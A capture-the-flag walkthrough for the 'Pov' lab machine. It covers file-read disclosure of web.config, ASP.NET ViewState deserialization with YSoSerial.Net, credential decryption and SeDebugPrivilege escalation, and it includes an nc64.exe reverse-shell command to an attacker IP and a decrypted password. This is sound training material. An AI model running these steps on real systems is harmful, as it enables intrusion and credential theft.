Synopsis: Skills Required
Synopsis: Skills Required
Difficulty: Medium
Classification: Official
Synopsis
Pov is a medium Windows machine that starts with a webpage featuring a business site. Enumerating the
initial webpage, an attacker is able to find the subdomain dev.pov.htb . Navigating to the newly discovered
subdomain, a download option is vulnerable to remote file read, giving an attacker the means to get
valuable information from the web.config file. The subdomain uses the ViewState mechanism, which, in
combination with the secrets leaked from the web.config file, is vulnerable to insecure deserialization,
leading to remote code execution as the user sfitz . Looking at the remote filesystem, an attacker can
discover and manipulate a file that reveals the credentials for the user alaading . Once the attacker has
code execution as the user alaading the SeDebugPrivilege is abused to gain code execution in the
context of a privileged application, ultimately resulting in code execution as nt authority\system .
Skills Required
Enumeration
Port Forwarding
Skills Learned
Skills Learned
Remote File Read
ASP.NET Deserialization
SeDebugPrivilege Abuse
Enumeration
Nmap
ports=$(nmap -p- --min-rate=1000 -T4 10.129.230.183 | grep ^[0-9] | cut -d '/' -f 1 | tr
'\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.129.230.183
The initial Nmap output reveals that an IIS server is running on port 80. Moreover, it reveals the hostname
pov.htb . Thus, we modify our hosts file accordingly:
IIS - Port 80
We begin our enumeration by visiting http://pov.htb . The page seems to display a business site:
Exploring the website, we find some interesting information on the Contact Us page. More specifically, we
find a new subdomain called dev.pov.htb and a possible username sfitz .
Upon visiting dev.pov.htb we are presented with the portfolio of a web developer.
Reviewing the text on the website, we can notice many references to ASP.NET and secure coding practices.
Moreover, we have a Download CV button. Let's intercept the request to download the CV using BurpSuite.
Several parameters are displayed in the body, one of the most important is the file parameter that points
to the file that we are requesting to download. Using CTRL+r on the request to go to the Repeater tab, we
can try some payloads for remote arbitrary file read. Given that the server is an IIS server, we could try to
read the web.config file at the root of the web application.
Foothold
Let us remember that throughout the web application, they mention ASP.NET and upon inspecting the
download request, we can see that they are making use of View state. Upon searching the web for
ViewState exploitation, it turns out that it is vulnerable to deserialization attacks that can lead to remote
code execution.
The ViewState is a feature in the ASP.NET platform that maintains user interface elements and other
data across multiple requests. The server serializes this data and sends it through a hidden form field.
When the form is posted back, the ViewState parameter is deserialized to retrieve the data. However,
an attacker might exploit this by providing a gadget chain to execute arbitrary code on the server.
To exploit this, we are going to use the YSoSerial.Net tool. This tool works natively under Windows, but in
order to make it work under Linux we need to follow these steps:
sudo apt install mono-complete wine winetricks -y
winetricks dotnet48
Looking at ViewState option parameters on YSoSerial.Net we can see that it requires the MachineKey
parameters. Fortunately for us, the MachineKey parameters are leaked in the web.config file that we
previously read:
The first thing we must verify for the exploit to work is that the __VIEWSTATEGENERATOR value generated
when creating our payload is the same as the one shown on the request. This value changes depending on
the path and the apppath parameters.
Using the --islegacy and --isdebug flags, we can verify these values. We choose /portfolio for the --
path , since that is the primary endpoint of the dev web application. We set the --apppath parameter to
/ , as a first guess:
Indeed, the value calculated by the exploit, namely 8E0F0FA3 , matches the one we got on our intercepted
request earlier, verifying that we have found the correct values for these parameters:
With all parameters now being accounted for, let's try to get a reverse shell on the remote machine. First of
all, we have to set up a listener on our local machine.
rlwrap nc -lvnp 9001
Then, we can use revshells to generate a PowerShell payload. Simply fill in your tun0 IP and your
preferred port (it has to be the same as the one you specified on the listener), select Windows as the OS and
PowerShell #3 as the option, and then copy the generated payload.
3MoYvEY%2FT1YYE4lQQEaT712mLnMPb%2BifIvMWa%2BZeH6LhopwU<SNIP>
Note: When running the command on Linux, the output will have newline characters ( \n ) that break
the payload format, be sure to strip those using a text editor of your choice before moving on to the
next step. One option would be to use tr , like so:
Then, we copy the output of the ysoserial.exe binary over to the Repeater tab and replace the content
of the __VIEWSTATE parameter with it and send the request.
PS C:\windows\system32\inetsrv> whoami
pov\sfitz
Lateral Movement
Since the user flag is not located in the Desktop folder of the sfitz user we start to explore our options in
order to pivot to another user.
Looking around the user folder of the user sfitz we find an interesting file called connection.xml under
the Documents folder.
PS C:\users\sfitz> tree . /F
We can see the encrypted password of the alaading user. Using ImportClixml we can manipulate this file
and extract a clear-text password, using the following chain of commands:
$encryptedPassword = Import-Clixml -Path 'C:\Users\sfitz\Documents\connection.xml'
$decryptedPassword = $encryptedPassword.GetNetworkCredential().Password
$decryptedPassword
f8gQ8fynP44ek1m3
Now, we can use the Invoke-Command module to run commands as the user alaading .
USER INFORMATION
----------------
GROUP INFORMATION
-----------------
PRIVILEGES INFORMATION
----------------------
Privilege Escalation
Before we start looking for ways to increase our privileges, it would be nice to get a shell as the user
alaading . We can use chisel to create a SOCKS5 tunnel in order to log into the machine over winrm .
Then, we transfer the chisel.exe binary over to the remote machine, using a Python webserver:
Locally:
python3 -m http.server 80
On the target:
Ensure that at the bottom of your /etc/proxychains.conf file you have an entry resembling:
...
[ProxyList]
socks5 127.0.0.1 1080
Finally, we have a shell as the user alaading . Enumerating our current session, we have already come
across something of interest. The user alaading has the SeDebugPrivilege assigned to them.
PRIVILEGES INFORMATION
----------------------
The SeDebugPrivilege privilege is an advanced privilege on Windows systems that gives a user or process
the right to debug applications and processes, which implies a very high level of access and can potentially
be dangerous if used improperly.
We are going to use the upload function of evil-winrm to transfer nc64.exe and psgetsys.ps1 over to the
remote machine in order to exploit the debug privilege.
Note: the files must be in the same local folder as the one you executed the evil-winrm command
from.
Afterwards, we need to find the PID of an elevated process that we are going to abuse and execute arbitrary
commands in its context; winlogon usually suffices.
*Evil-WinRM* PS C:\Users\alaading\music> ps
The process has a PID of 552. Let's import psgetsys.ps1 and try to get a reverse shell.
ipmo .\psgetsys.ps1
ImpersonateFromParentPid -ppid 552 -command "c:\windows\system32\cmd.exe" -cmdargs "/c
c:\users\alaading\music\nc64.exe 10.10.14.100 9001 -e powershell"
PS C:\Windows\system32> whoami
nt authority\system